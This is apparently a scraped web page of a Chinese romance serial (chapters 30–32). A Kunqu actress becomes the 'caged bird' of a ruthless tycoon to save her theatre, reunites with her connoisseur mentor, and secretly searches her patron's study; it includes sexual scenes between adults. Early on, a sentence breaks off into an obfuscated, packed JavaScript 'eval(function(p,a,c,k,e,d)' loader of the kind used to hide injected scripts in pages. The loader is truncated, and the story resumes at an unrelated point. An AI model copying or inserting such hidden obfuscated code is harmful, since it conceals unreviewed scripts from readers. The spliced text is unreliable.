林青盏是有着温柔似水的皮囊,内里却坚硬如钻石,平日里柔媚娇俏低眉顺眼,也从来不喜欢惹事极为避事,偏偏遇上这位腹黑傅三爷,他说话带刺,她便越想往刺堆里面扎进去。 “我什么都没有,怕是拿不出什么谢傅三爷,只能口头表达,谢谢。” 傅随之手腕随意搭在凉亭的木桌,修长手指点了两下,还是那副傲然的姿态,“不必谢得太早,说不定我待会心情不好,就让人炸了这地方。” 林青盏心想,疯子。 她早说了这位比慕殇淙更可怕。 若是可以她自然不想理会这个疯子,但她知道他所言属实,他真的想,不过一个小时,望月台就能从浮城彻底消失。 她给望月台带来的麻烦够多,不想再加一条。 她垂下眼眸,刚巧看到傅随之露出的手腕不知什么时候被划破了一道伤口,血渍滴落在黑色衬衫压根看不见。 林青盏心底原本竖起的刺,在这一刻直接凋落。 “三爷受伤了。” 傅随之低头看了眼,不以为然。 林青盏转身迈入旁边的屋子,拿了小药箱出来,坐在傅随之身旁,拿出消毒棉签,“三爷,麻烦抬一下手腕。” 傅随之从小生在权势复杂的傅府,小时候就知道很多事要争夺才能得到,武力可以压制很多的麻烦,受伤在所难免,这种小伤他压根不管,所以他没动。 他没料到,林青盏会拽住他的袖口将他的手腕拉过去,连带着他的身体也被动往前倾,垂眸看到跟她的距离很近,嘴唇几乎要吻上她的额头。 林青盏好似没有感觉,低头为他将伤口仔细消毒,还贴上了创可贴。 这东西跟堂堂傅三爷一点都不搭,不过看着还算顺眼。 “三爷今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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若是之前,林青盏心底梗着一股莫名的自尊,断然不想在傅随之这么嚣张的人面前弯下腰,但亲眼目睹望月台被砸场,看着所有人因为要搬离浮城而心忧,林青盏很清楚,自己的尊严和笃定完全没有用处。 她没有其他办法,她想牢牢抓住傅随之这根救命稻草。 “听闻傅鸿源和三爷斗了许多年,他的一举一动,想必都逃不过三爷的眼,但他将我送过去,三爷竟然同意了。因为‘傅于然’这三个字是一个原因,还有一部分原因,应该是三爷想将计就计看看他们想做什么。” 林青盏波澜不惊说道:“这么说来,我对于三爷还是有点用处的。” 傅三爷挑了挑眉,目光依旧冷峻,却多了一丝探究。 “三爷我之前说的那话是真心的,只要三爷帮我保下望月台,往后我就是三爷的人,三爷让我做什么我就做什么,绝不反抗,绝不背叛,保证让三爷满意。” “你打算怎么让我满意?”他站起身,走到林青盏面前,单薄手掌掐住林青盏的下巴,逼迫她抬头与他对视,语气轻佻,带着几分戏谑,“你最好想清楚,做我的人和做我女人的区别。” 林青盏白皙下巴被他掐着,昂起的脖颈线条紧绷着。 她自然听懂了他的话,想为傅三爷做事的大有人在,傅三爷从来不缺使唤的人,但他身边没有任何一个女人,想留在他身边,只能成为他的女人。 傅随之阴狠毒辣,即便是一只笼中雀飞走,都会追回不让它有机会逃走。今天只要她点了头,往后必然无路可退。 但林青盏没有选择。 她目光直视傅随之,没有任何闪躲,“我甘愿做三爷的笼中雀,但求你能护住望月台,护住我的家人。” 傅随之沉默不语。 林青盏咬着牙,破釜沉舟,“三爷,你这么多年一直不放弃找寻妹妹,是因为不舍得让她流落在外受苦。可不可以看在傅于然小姐的面子上,请你帮帮我们,就当做是在为她积福,可以吗?” 傅随之眼神往下沉了沉,片刻之后,阴沉神色闪过一丝不一样的光。 “你倒是聪明。” 对于傅随之而言,“傅于然”这三个字就相当于免死金牌,林青盏的说辞让他很满意。 就当是为傅于然积福了。 他松开她,“做我的笼中雀,可不是什么轻松的事。” 女主抬起头,毫不畏惧地与他对视。 傅随之望着她片刻,忽然笑了。那笑容里带着几分玩味,几分危险。 “给你十分钟。” 说罢,傅随之转身往外走去,很快消失在暗夜中。 林青盏抬起头,看到黑暗的夜空,像是泄了气的皮球,全身没有半点力气,手掌止不住地颤抖。 是兰青翎抓住她的手掌,让她坠落的心被及时捧起。 兰青翎站在她面前,将她抱住,轻轻揉着她的头发。 “傅三爷传话下去了,说望月台以后是他的地盘,秦助理亲自安排人在帮忙收拾,有他们坐镇,傅鸿源那边的人必然不敢再来了。” 林青盏埋在她怀里,放松了许多。 只要能保住望月台足够了。 兰青翎却不放心,心底是担心林青盏的。 “小盏,你真的打算跟着傅随之吗?他可是傅三爷,慕殇淙都不及他十分之一。他们那种人没有感情的,今天慕觞淙能将你卖了,拿着望月台威胁你,难保傅随之以后不会做出同样的事情。” 林青盏何尝不知道。 “师姐,你还记得我们第一次上台,唱得压根不好,可是观众依旧捧场,那是因为我们是望月台的人,有了望月台的支撑,观众才会买账。同样的,望月台没了慕觞淙支撑,如果想要继续在浮城立足下去,那只能找到更强大的靠山。” 他们都非常清楚,傅随之再合适不过。 只要有傅随之撑腰,往后望月台就可以跟当初的她们一样,继续璀璨地存活下去。 傅随之留给林青盏的时间不多,她放下所有的忧虑,起身去跟朝露和白云交代了一声,转身走出望月台。 她甚至不用收拾行李,想必傅随之那边什么都有。 她提着裙摆往外走,没有想到,会看到慕觞淙。 望月台在长乐街上,街道尽头是宋氏产业的和香居。 幽幽墨色下,慕觞淙和宋雅薇站在和香居门口,林青盏无意识转身,刚巧对上慕觞淙的眼眸。 但她没有任何停留,转身朝着停靠在旁边的迈巴赫走过去。 黑色明亮的迈巴赫车门敞开着,身穿黑色西服的傅随之傲然坐在后座,转头看向她,随后目光从她肩膀滑过,落在她身后不远处的慕觞淙身上,冷笑一声。 林青盏没有看到他的神色,上了车,坐在他身旁,原是等着外面的傅慎将车门关上,不想听到傅随之说,“坐上来。” 她看向他,纯真眼眸里满满的疑惑,好似在问:“哪里?” 他面无表情,声音是不容置喙的,“腿上。” “……” 傅三爷的笼中雀是真不好做,一上来就要坐腿上! 30-35 第31章 包厢里,姬淮野豪迈走进来,看到站起身的林青盏,神色怔住。 林青盏对着姬淮野恭敬行了个礼,“老师。” 傅随之他们几个听言,神色都是一怔。 纪淮野这人性情怪异,这么多年就收了顾蝉一个徒弟,傅随之一直以为全浮城敢叫他一声“老师”的只有顾蝉一人。 今天却在这里听到了。 傅随之唤了声“三叔”,手掌自然搭在林青盏后腰,“你叫他老师?” 林青盏点了点头,本想解释,但事情有些复杂,一两句话也解释不清。 比林青盏混乱的是纪淮野。 纪淮野看了眼林青盏,又看了看傅随之,“你们两个?” 林青盏跟慕殇淙关系不一般,纪淮野是知道的,他跟顾蝉一样,总看不上慕殇淙,之前就劝过林青盏别陷得太深,免得伤了自己,还想着总有天林青盏必然会跟慕殇淙断了。 但他万万没想到,林青盏跟慕殇淙断了之后,居然是跟了傅随之? 纪淮野戴着手串的手臂举起,用折扇顶了顶脑袋,“我这大半年没回来,消息落后了?” 傅随之从小就不怕纪淮野,“是挺落后的。” “你这小子!” 傅随之请纪淮野入座,给沏了一壶上等的好茶,倒满杯。 刚刚两个包厢争夺太激烈,傅随之还直接点天灯,纪淮野被气得都冲过来问罪,傅随之难免要解释两句。 他将茶杯摆在纪淮野面前,“我真不知道是您老人家。” “呵。这话说的,知道是我你就能不抢?我不信。” 傅随之低头笑,“她跟您老兴致一样,看中了那藏砚,我自然是要拍下来的。没想到会冲撞您老人家。” 纪淮野是看着傅随之长大的,这人看似圆滑,其实做事狠厉,处处隐藏杀机,就连纪家大老爷纪淮文都要忌惮傅随之三分,只是纪淮野不管家族事业,就是个拿分红的“闲散王爷”,所以他才不怕得罪傅随之。 纪淮野向来想说什么就说什么,想做什么就做什么,浮城还没人能让他忌惮的。 他抬眸看傅随之,调侃道,“我是没想到,不过半年没见,傅三爷倒是懂得怜香惜玉了。难得难得。” 傅随之但笑不语,随意他怎么说。 纪淮野转身看向林青盏,折扇往她脑袋一敲,“小丫头怎么不说话?” 林青盏在长辈面前,惯来乖顺模样,抬起白皙脸蛋,笑着问:“老师不是说意大利很有趣,怎么就舍得回来了?” 纪淮野不管家族事业,开了家鉴赏工作室,自己玩玩鉴赏,有时候拿钱为人修复古物,赚钱花,花钱也快,日子一天天这么过得逍遥快活。 年初,他觉得工作太多把他累着了,就将工作室丢给顾蝉全权管理,自己跑去国外度假看风景。 纪淮野名声大,找到工作室要合作的不少,而且他之前定下一个规矩,但凡博物馆找来为国家做事的,都不会推拒,导致工作室积累了很多工作。 他自己跑去度假,所有事情都转到顾蝉这个关门弟子身上,她每天连轴转都干不完,赶紧给纪淮野打电话要他回来,他理所当然没答应。 顾蝉没办法只能叫林青盏出马去说服他,不过林青盏的话他自然也不可能听,只说还想逛逛走一走,就再也没有消息了。 林青盏是真没想到,今天会在这里见到他。 纪淮野摇摇头,“外面的风景再好,还是不如家里——” “老师,不必打官腔。” “行了,就你这丫头敢堵我。我就是胃受不了,太想念正宗浮城菜,这不还是得回来渡口气。” 纪淮野典型的文人野路子性格,说话很有文化人口吻,但不文绉绉的,反倒是喜欢调侃式说话。 许是在熟悉的前辈面前,林青盏话也比较多,时不时也会调侃纪淮野一两句,眉眼弯弯,嘴角挂着灿烂笑容,整个人都朝气了不少。 傅随之侧身看了她两次,在说话间隙,终归还是问出疑惑:“三叔,我怎么没听你说起过,还有这么一个徒弟?” 一说到这儿,纪淮野又有话说了,“还能是为什么,就这个丫头不愿意呗。” 傅随之凝神看她,满是疑惑。 林青盏撇他一眼,“我就是跟老师学了点皮毛,不想公开丢了老师的脸面。” “瞧瞧,说辞又来了。”纪淮野拿着折扇隔空点了点林青盏,“这丫头就是让白云给教坏了,一心扑在昆曲上!性子倔得很,我看她有天赋,想让她入我的门,怎么威逼利诱都不成。” 话是说得很酸,明显到现在还不乐于接受这件事。 纪淮野年轻时候跟白云就认识,但没有深交。棠傛去世后,他不愿意再去宴乐门,想起来听曲儿,就去望月台走走,是这样跟白云熟悉起来。 他有次去望月台听曲儿,刚好碰上林青盏,小丫头聪明伶俐,听他只言片语,就学会了鉴赏,天赋是极高的。 纪淮野发现这点,哄骗着林青盏想收她为徒,林青盏竟然一口给拒绝了,说她这辈子一心唱昆曲,其他的便没有精力去学习。 小丫头很是坚定,纪淮野更加感兴趣,威逼利诱了几次,说是林青盏只要当了他徒弟,往后他的身家资产都可以给她。 林青盏照旧拒绝。 按理说,她拒绝多次,其他人可能觉得丢了脸面就不再提及,偏偏纪淮野就不愿意按套路来,她不想学,他就硬要教,每天专门去望月台给她说课,逼迫她听。 不过一年,她的鉴赏能力就快要赶超顾蝉,这时候纪淮野提出要报酬,说他上课可不便宜,一年下来怎么着也要给他八位数。 林青盏自然是拿不出钱的,纪淮野再说:“没钱交学费也行,你当我徒弟,我教你分文不取。” 那时候林青盏对于鉴赏已经有了浓重的兴趣,继续学习自然是好的,但她还是想好好唱昆曲,不愿意分神去做其他事情。 两人拉扯了好几个月,最终才各退一步,林青盏可以拜纪淮野为师,但作为关门弟子不声张,主要是怕行了差错,会败坏纪淮野的名声。 纪淮野拿小丫头没办法,竟当真接受了这条件,收下林青盏这徒弟,空了就指点一二。 林青盏不比顾蝉一心专门学这个,修复古物的技能完全不行,只是那双眼睛厉害得很,很多古物不用仪器,她肉眼就能辨认真假。 因此也很受纪三爷喜欢。 林青盏看向傅随之,“我跟着师父学习这事儿,也就是我跟小蝉和师父工作室几位前辈知道,其他人一概不知。” 傅随之了然,手掌揉了揉她的脑袋,“没想到你这么聪明,竟然能让堂堂纪三爷看中。” 他的手掌很是宽厚,贴着头发往下,自然就搭在她后颈,感觉肌肤贴着一股炙热 ,林青盏多少有些不适应。 而且纪淮野还坐在对面呢。 她将他的手臂推开,佯装什么事都没发生,端起茶杯喝了一口。 却不知道,这些举动,纪淮野看地一清二楚。 他挑眉看向傅随之,“小子,你这半年是不是上过山,或者去了什么奇怪的地方?” 傅随之镜片下的眼眸沉了些许。 他自然听懂了纪淮野想说的意思,是想说他中邪了。 他也觉得自己跟中邪了似的。 那纪晓岚藏砚保存得很好,实属难得,纪淮野心底是很喜欢的。 林青盏心底再喜欢,也不会夺了老师的爱,工作人员包装好将东西送过来,林青盏二话不说转送给了纪淮野。 纪淮野不是那种会拿身份施压的,但林青盏说要孝敬他,他也没有推拒,心底只想着改日找个好东西再送回去。 从包厢离开后,纪淮野当即给白云打电话,问了林青盏和傅随之的事情。 白云三言两语说清。 纪淮野上了自己那辆越野车,手掌搭在方向盘上,气得吹胡子瞪眼,“这个慕殇淙真不是东西。我老早看他不顺眼,就觉得那小子不靠谱。” 这段时间台里出了很多事,朝露最近身体也不太好,很多事情都要白云做主,她心力交瘁,还要操心这些小辈的,但她是长辈也不好在众人面前露出柔软的模样。 此刻,终于有个能说话的,她才表露出自己心底的情绪,“谁说不是呢。这些年,小盏跟着慕殇淙什么要求都没提,大好青春就这么白白浪费了,到头来还她一场背叛,我这是恨不得抽他几巴掌。” 纪淮野摸了摸腕间的手串,“没事,我自会安排。” 白云叹了口气,“慕殇淙是不好,小盏能跟他断了,我心底是开心的。但是你说……” “你担心傅随之也不是良配?” “难道你觉得傅随之能是良配?他从小无父无母,在傅家那种地方长大,整日里勾心斗角的,才会养成阴翳偏执的性子。” 白云常年在望月台接触很多上流社会的人,豪门圈的事情多少都是有听说的。 傅随之入商界后,大动干戈整治傅氏集团里面的腐败,做事丝毫不留情面,也从不在意谁的面子,可以说是为所欲为。 这些年傅清檐那一房,没少往他身上打主意,都不能得逞。 傅随之一个人跟二房整个支脉对抗,都没败下阵来,可见这人多可怕。 “小盏跟了他,要是他开心,自然是能将小盏宠上天。可要是他哪天厌倦了,那小盏就是从天堂掉到地狱。” 白云说着越发忧愁,“而且小盏先是跟慕殇淙有瓜葛,现在全浮城都知道她跟了傅随之,往后两人真的分开了,还有谁敢要她?” 听言,纪淮野也跟着发愁了- 那日秦楠下了命令后,浮城的所有港口都对慕氏集团开放,只是提了条件,货物运输费用要提升两个点,慕觞淙没有多想就答应了。 相比傅随之咬紧不放行,货物扎堆烂在自己手里损失十几亿,被傅随之收取几千万的放行费算什么。 货物送出去,交易完成,资金回笼,再加上宋家的资金注入,慕氏集团算是度过了这场难关,只要后面不遇到什么问题,慕氏集团明年的收益必然会翻一倍。 这天慕殇淙回到家里,身心疲惫,将自己丢在沙发里,点燃一根烟,猛吸了两口,心底却越发空虚。 以往想休息的时候,他会去林青盏那里,现在望月台他不能去了。 至于宋雅薇,他们订婚前就默认了各过各的,所以宋雅薇才敢那么光明正大地跟林博昶搞在一起。 如果没有长辈在,他们连见面都不必。 他吸了最后一口烟,将烟蒂摁在水晶烟灰缸里,拿起西装往外走。 别墅太大,安静得让人发慌,还不如去外面逍遥快活。 他招揽了很多人去香桂芳喝酒,酒过半巡,包厢门被推开,他抬眸看到来人竟是消失大半年的纪三爷。 慕殇淙站起来,“纪老,好久不见。” 纪淮野疾步上前,废话都不多说一句,抬脚猛地一踹直接把人踹沙发上。 慕殇淙捂着胸口,好半响都说不出话来。 一个个他妈都有病啊,上来就踹人!- 纪淮野从来都是野性惯了,看不惯上去就把人打一顿 这种性格这种行事风格,要是别人早不知道被打死多少回。 偏偏他是纪家人,不说上面两个哥哥为他撑腰,下面还有侄子纪时安和纪时礼对他马首是瞻,一大把年纪,闯祸了也有人跟在后头处理。 纪淮野打人的消息是被纪时礼压下来的。 纪时礼这人疯子名声响当当,一半是因为他性情不定,另一方面是他有这种手段,行事雷厉风行,做事很是周全,叫人完全斗不过他。 他让人去给慕殇淙送了个项目,只说他小叔纪淮野喝大了没注意动了手,着实对不住。 慕殇淙心底自然知道纪淮野是在为林青盏出头,但在林青盏这件事上,他本就有错在先,现在林青盏有傅随之撑腰,他不好得罪,就算是纪淮野他也得罪不起,纪时礼已经给了这么一个台阶,他不下也得下。 香桂芳打人事件,也只能这么不了了之。 纪时礼费神将消息压下来,不全是为了纪淮野,他转身将消息告知傅随之,顺便敲诈了傅随之一辆百万豪车,这才心满意足。 自然而然,林青盏什么消息都没听到。 打从那日拍卖会后,她得到了好几件宝物,就全心钻进古玩室里面认真研究去了。 在这方面,她不仅是有天赋,心底也是很喜欢的,一投入就废寝忘食。 这天傍晚,傅小灵前后来敲了三次门,林青盏嘴上答应却总是不起身,傅小灵没办法,只能推开门,走过来提醒:“姑娘,你再不去吃饭,饭菜又该凉了。” 林青盏双手带着白色手套,手里捧着个唐三彩,恍然回过神来,才点头答应:“我马上来。” 她将瓷器收进玻璃柜里,将尘埃清理干净,摘下手套,这才站起身,跟着傅小灵往回走。 抬头看到晚霞布满天,她这才意识到一天又过去了。 “三哥回来了吗?” “半个小时前就回来了,知道姑娘在古玩室,就没让我去打扰,只说姑娘出来了可以去书房找人。” 海棠湾这边的古玩室是在后面单独的一栋楼,走出来后,林青盏踩着石梯绕过玻璃花房外面的长廊,拐了弯走回前面的别墅区,抬眸就可以看到宽阔明亮的客厅。 傅小灵:“姑娘要先吃饭吗?” “他吃了吗?” “还没呢,好像是有个工作电话。” “那等他一起吧。”林青盏穿一身刺绣百合花长裙,步步生莲,“我过去找他,等出来了再上菜。” “好。” 林青盏要去书房,傅小灵没有跟着,转身去了厨房给李婶帮忙。 海棠湾这边的书房布置在东边的角落,奢华高档大气。 林青盏走过去,手掌搭在手扶把上面,原本是要敲门的,听到里头传来傅随之的声音,随即顿住。 “上次那批孤儿的去处都安排好了?”傅随之的声音好似有些疲倦,"每家每户的资料都要审核到位,一经发现作假,一概不放手。” 孤儿? 林青盏想起之前李婶说过,傅随之这些年一直坚持在找傅于然,翻找孤儿院的孩子是最多的,有时候将人带回来,不会往回送,反而是会安排更好的去处。 难道这次是又没找到,只能将孤儿又一个一个安排送走? “孤儿安顿的费用,还是往戏楼那边走。” “账目做好,秦楠会去核对,到时候拿过来过目就行。” “游园惊梦那边最近如何?” 书房里,傅随之坐在黑色皮质沙发上,不经意转过身,看到书桌旁的监控主机里有着林青盏的身影。 林青盏纤瘦身躯站在书房门口,手掌搭在房门上,明显是在偷听。 傅随之眼神阴沉了几分,从来都是狠厉行事的男人,这一次却没有借此逮住林青盏,反倒是如常跟电话彼端的棠严峻聊着工作。 整整五分钟,林青盏站在书房门口将他们的谈话内容听了个遍。 傅随之双眸直勾勾盯着监控屏幕的身影,神色阴冷可怕,他慢慢握紧了拳头,好似要将掌心的手机捏 爆。 片刻后,他才松开手,将手机丢在桌面。 与此同时,外面响起敲门声,傅随之的神色恢复以往的清冷冷酷。 他将监控面板关掉,“进。” 书房大门被推开,林青盏缓步走了进来,“三哥,要吃饭了嘛?” 傅随之往后靠在黑色真皮沙发,犀利眼眸落在林青盏身上,没有任何温度。 他在给她机会,让她主动开口。 但林青盏没有。 见傅随之面无表情坐着,林青盏靠近他,弯腰凑过来看,“是累了吗?” 一双清纯透彻的眼眸近在咫尺,傅随之心底的那股火莫名更加旺盛。 但他没有拆穿她,而是举起手臂勾住她的腰,将人带到自己这边,让她坐在他腿上。 炙热的手掌贴着她后颈摩挲片刻,只要他稍微用力就能拧断她的脖子,像是豺狼狩猎一般。 傅随之望着她,没有下一步动作。 显然,他在犹豫迟疑。 她真会给他出难题。 这是叫他该如何对待她? 林青盏被他掌心的炙热烫得有些发慌,是要用力扣着脚趾头才能勉强镇定下来的程度。 她抿着唇看向他,心底砰砰砰剧烈跳动着。 难道他察觉了什么? 下一秒,傅随之将掌心往下移,佯装无异:“今天都在古玩室里?” “嗯,上次的东西送回来了,我想着好好观摩观摩。” “不觉得无聊?” 林青盏摇了摇头,“不会。这次送来的古物里好些工艺是我之前没瞧见过的,很是赏心悦目。” “赏心悦目?”傅随之直起身,抵在她唇角,“跟你一样?” 手掌用力掐下去- 浮城里关于傅随之的传闻,多半都是跟他这人的身世和手段有关。 他是遗腹子,三岁时同胞妹妹无故失踪,四岁时母亲伤心过度也去了,独留下他面对偌大傅府的尔虞我诈,现如今还能屹立于高位,连他小叔傅清檐都无法撼动他的地位。 这依附于傅老爷子对他的“偏爱”,当然了,更多的是因为他这个人心思缜密,阴险毒辣,狠厉凶残,轻易不是能撼动的。 以往林青盏想象过这个人该有多冷漠残暴,这段时间接触下来,却反倒感觉这人其实比其他人都更重情。 在情感上,不管是无师自通还是经验丰富,反正他给林青盏的感觉都是游刃有余地将她围城在漂亮的玻璃花房里,像是给了她无尽浪漫,但终究是不太现实。 此刻,傅随之精致脸庞逼近她,线条分明的嘴唇几乎要贴上她的嘴角,手掌已经作乱片刻,贴着她纤细腰肢都烫了几分。 明明是近在咫尺,林青盏望着傅随之,总感觉他那浅棕色眼眸浮着一层薄雾,只是很浅的一层,就能叫她完全猜不透他的心思。 她这人生活环境简单,除了之前不顾名声跟着慕殇淙,从未做过违背心地的事情,现在心底存着利用傅随之的心思,偷偷摸摸的,总觉得心虚不坦荡。 林青盏眨了眨浓密眼睫,干脆举起白皙手臂环住傅随之的脖子,脸颊埋在柔嫩手臂和他的脖颈之间。 这样就看不到傅随之的眼睛了。 傅随之原本沉下去的眼神略带闪烁,手指没有探进去,反倒是贴着她的脊背往上,轻轻拍了两下。 声音依旧是冷的,“怎么?”情绪却是复杂的。 林青盏将脸蛋深埋在他颈窝,声音闷闷的:“不想看你的眼睛。” “嗯?” “这样就不会害怕。”害怕被他看穿她的心虚。 傅随之垂下手掌,“怕我?” “怕。”林青盏微微抬头,唇齿溢出的气息就落在他耳朵后面,“你每次都好凶,跟你说疼……”—— 作者有话说:里里作证,每次真的都好凶,是那种凶![垂耳兔头][可怜] 第32章 “你每次都好凶,跟你说疼……” 林青盏突然反应过来,又不愿意说下去了,只是将脸埋下去,片刻后又迟疑着抬起头,去找到他的唇角,小心翼翼地触碰,低声说着:“你不要生气。” 话音落下,她柔软的嘴唇又贴过来蹭着他的嘴角。 原本他以为他足够了解她的过往,但上次玻璃花园的第一次,和今晚笨拙的亲吻,都让傅随之产生怀疑,这个女人怎么会连接吻都不会? 明亮灯光下,傅随之垂眸,手臂环住她的肩膀,将人拉起来,磕上她的唇。 他的吻从来都是犹如暴风雨过境,带着震耳欲聋的风和雨,将人困在中央。 林青盏心底存着心思,是有意想迎合他的。 百合刺绣长袖被剥落,露出白皙的肩膀,她微微侧过身,乌黑长发从雪白间滑落。 傅随之眼神沉了几分,明显已经有些把控不住,偏偏她还故意咬着唇喊,“三哥。” 他低笑了声,只觉得神奇。 明明是纯真百合的模样,但她的眼尾一挑又瞬间变成娇媚的海棠花,特别吸引他。 傅随之以前不信,现在才发现性这件事情,自有它的魔力。 一开始两人不熟悉,他对她的身体是好奇,想去触碰想让她被拿捏在掌心,她总是咬着唇无论如何也不愿意发出声音。 那一夜的凌乱荒唐后,她倒是放开了些,有时候主动叫一句“三哥”,明明是一样的称呼,腔调跟别人叫得完全不同,像是软糯的棉花糖,腻在他身上,叫他都有些受不了。 他知道她存了其他心思,也知道她是有求于他才会如此,但是傅随之管不了那么多。 面对她,他好像只能如此,实打实地往后退,一步步地纵容。 结束已经是深夜。 落地窗遮挡严实,月光照不进来,只有头顶的繁复水晶灯落下白色的光。 书房的意式沙发很宽阔,足以容下他们两人。 林青盏被傅随之搂在怀中,侧身枕着他的手臂假寐,能够听到他呼吸平稳,必然是睡着了。 等了片刻,她慢慢抬眸,见他双眼紧闭,睡得很是安然,她才慢慢坐起身,整个人像是美人鱼般滑落到沙发下。 她身上无一物,抓起旁边的灰色毯子将自己包裹好,无瑕顾及其他,悄然爬起来,轻手轻脚走到书桌前开始翻找文件。 林青盏跟傅小灵和李婶询问过。 这些年,傅随之一直在找傅于然,时间太过久远,没有任何线索,找起来十分困难,他几乎是对全国孤儿院进行地毯式搜索。 他极为重视这个妹妹,底下人不敢怠慢,只能将条件符合的孤儿资料都收过来确认,真有可能的才会让傅随之去验证。 这其中必然会存在着记录账本。 林青盏想着只要能找到那些账本,说不定就能翻出哥哥被带去游园惊梦的记录,也或许能查到哥哥被送去什么地方。 只是她将书房翻了个遍,也没找到有用的东西,甚至关于游园惊梦的相关文件都没有。 或许那些压根就不会放在海棠湾。 林青盏想通这点,不敢再耽搁,赶忙将东西都复原。 她走到书桌前倒了半杯水喝完,再回到沙发坐下,转身就看到傅随之缓缓睁开眼睛无声看向她。 这一刻,世界全然寂静,林青盏如芒刺背! 傅随之的眼眸是很浅的棕色,带点混血儿的气质,皮肤白皙,更显得阴翳可怖。 她几乎没有时间思考,转身爬到他怀里躺着,没敢抬眸看他。 傅随之手臂一勾,将她往上抬了抬,嘴唇贴在她额头,“什么时候醒的?” “刚刚才醒的。” “去做什么了?”他声音很是低沉。 “喝水。好渴。” 她声音很轻,像是怕他问出其他的,林青盏仰起头凑到他嘴角亲了亲,“你渴不渴呀?” 刚被温水润过的嘴唇更显得柔软洇润,贴着他的嘴唇毫无章法胡乱亲着,傅随之面无表情,眼神极为阴沉,好似会吞人的黑河。 林青盏心底咯噔了下,怕他警觉性高真的发现了什么,完全是豁出去的神色,纤细手掌贴着他分明的腹肌,犹豫着往下。 傅随之拽住她的手腕,低头对上她那纯净到略显迷离的眼眸,声音是低哑的:“这么渴?刚刚给你的不够?” 他这人看似冷漠,可是这张嘴什么都说得出来,特别是做这件事时,腔调浪荡得很,不过一两句就让林青盏红了脸,挣扎着将手抽出来,想翻身往旁边逃。 但已完全来不及。 傅随之抓着她的肩膀将人拉过来,翻了身将她困住,微启嘴唇去吸吮她灵活的舌尖,声音伴随着轻轻水渍声,“想要多少都给你。嗯?” 方才的余兴尚在,他纤细手指摁下去,像是午夜来临音乐响起时的喷泉,他笑出声,以手臂为牢将她困住,缓慢起伏着。 空荡荡的书房里,只有低微的呼吸- 许是林青盏极力配合,那段时间傅随之心情不错,连着好几天早早回家陪着她,感情好似突然升温到了林青盏都不敢想象的地步。 林青盏整日里不是在古玩室里倒弄那些古物,就是跑到玻璃花房里,跟着李婶收拾花房里的海棠花。 玻璃花房里是恒温的,很适合海棠花生存,但也不是将海棠花放着就不用管了。 李婶每日都要带着两个园丁,巡视花房,浇灌营养液浇水除草。 林青盏跟着做了几日,知道园中的海棠花种类极其多,虽然大部分价格都不算高,但李婶他们费心养着,都开得极为灿烂美丽。 她本就是闲不住的性格,身体都好了后,跟傅随之打了招呼,照旧每日去望月台上班。 阮青山说她身体刚康复,没给安排太多戏,尽量让兰青翎和何青素先顶上,一般就是一天一场,工作很是轻松。 这天安排的是《长生殿》,林青盏演绎过太多次,熟门熟路地完成表演,有戏曲爱好者过来送花,林青盏道了谢,跟对方寒暄几句,才抱着花往化妆室走去。 兰青翎、何青素她们已经将头花都拆下来,妆容卸得差不多。 看到林青盏手捧着海棠花走进来,刚卸了妆的兰青翎站起身,“小盏,刚青山过来说,‘戏曲文化’研讨会,下周一在海城举行。你跟我去吧?” 以往这些戏曲的活动,多半是阮青山和兰青翎去参加,林青盏会跟着兰青翎去参加表演。 林青盏仔细问了,兰青翎果然说在研讨会中会播放平日里的表演片段,所以想让林青盏一起去。 她没有多想答应下来。 兰青翎揉了揉她的肩膀,“青山会把明后天的场次排开。你卸妆好回去收拾下,明天早上台里会合,可以吗?” 林青盏点头,“可以。” 兰青翎和她寒暄几句,离开去忙。 阮青山和兰青翎作为朝露和白云的大徒弟,备受重用,朝露和白云要退下来,终归是要让这两人上手开始掌管望月台。 他们两人现在每天还有排戏,再加上台里的各类事务,整日里忙得脚不沾地。 林青盏能帮忙的自然会帮忙承担着些。 她拿出手机想跟傅随之和傅小灵说明天要去海城的事情,耳畔突然传来轻微的哀叹声,“果然是当家花旦,待遇就是不一样。” 林青盏转身看向何青素。 何青素拆下贴在额头的发片,露出干净清爽的五官,只是那双眼眸此刻沾染了嫉妒,轻飘飘往她这边瞥。 “小盏姐,我真的很羡慕你。师父看重,师兄师姐给你的待遇也不一样。” 说请假就能请假一周不上场,回来后排的第一场戏照旧是女主,有什么活动,阮青山和兰青翎第一个想到的也是林青盏。 就连慕殇淙跟林青盏都闹掰了,还整天想着再约林青盏,是想挽回林青盏吧? 种种的种种,都让何青素心底很不舒服。 林青盏从小在望月台这种鱼龙混杂的地方,早早就懂得辨认每个人的微表情,她一眼就看透何青素的表情。 她神色自若,将化妆水往白色化妆棉倒,口吻没有半分波澜,“师父已到退休享福的年纪,往后必然是要将望月台交给师兄和师姐,我们作为望月台的弟子,自然应该跟着效力。但凡师兄和师姐有需要我的地方,我万死不辞。” 何青素将发片放下,无声翻了个白眼。 林青盏压根没有看她,动作轻柔地将脸上的妆容一点点擦拭干净。 “青素,有件事我一直很好奇,早前没机会,今天倒是想问问你。你和慕殇淙是什么关系?” 何青素脊背一僵,好一会儿才开口,“师姐,我听不懂你这话什么意思?” 林青盏已将脸蛋的妆容彻底卸掉,露出白净的肌肤和炯炯有神的桃花眼。 “我和慕殇淙认识十六年,不说对他了如指掌,但他的性情多少还是了解的。他这人做事极为小心,不会轻易相信任何人。他既然会让你联系我,跟我通消息,恐怕你们关系匪浅?” 一句“关系匪浅”就叫何青素手忍不住抖了抖。 林青盏看破不说破,“你们何时为何搭上关系,这些跟我没有关系。我只是有一句劝告,慕殇淙这人将地位看得很重,为了慕家家族事业,他什么都干得出来。他骨子里认为能站在他身边的,必然得是宋雅薇那样的大小姐,其他人也应该要有价值才能站在他身边。师妹还是小心为妙,不要陷得太深。” 何青素豁然站起身,“你凭什么这么说他?” 林青盏眨了眨眼睫,望着镜子里的何青素,甚至都没有回身,云淡风轻。 何青素看她如此,越发生气,“师姐,你这人就是太过清高,总是要男人来哄着你,怎么可能。真正有本事的女人,是懂得适当地降低自己的身份来取悦男人,让男人离不开。” “??” 林青盏完全无法理解她的思想。 “师姐倒是不用这种眼神看着我。你对傅随之难道不是这样吗?你跟着慕殇淙那么久,愣是碰都没让他碰你,但跟着傅随之就什么都能给,说到底还不是因为傅随之地位更加显赫,他能给你的更多罢了。” 林青盏自觉跟何青素多说也没用,“我和傅随之什么关系,倒是不必师妹费心。我只是劝说,你也可以当我是胡言乱语。” 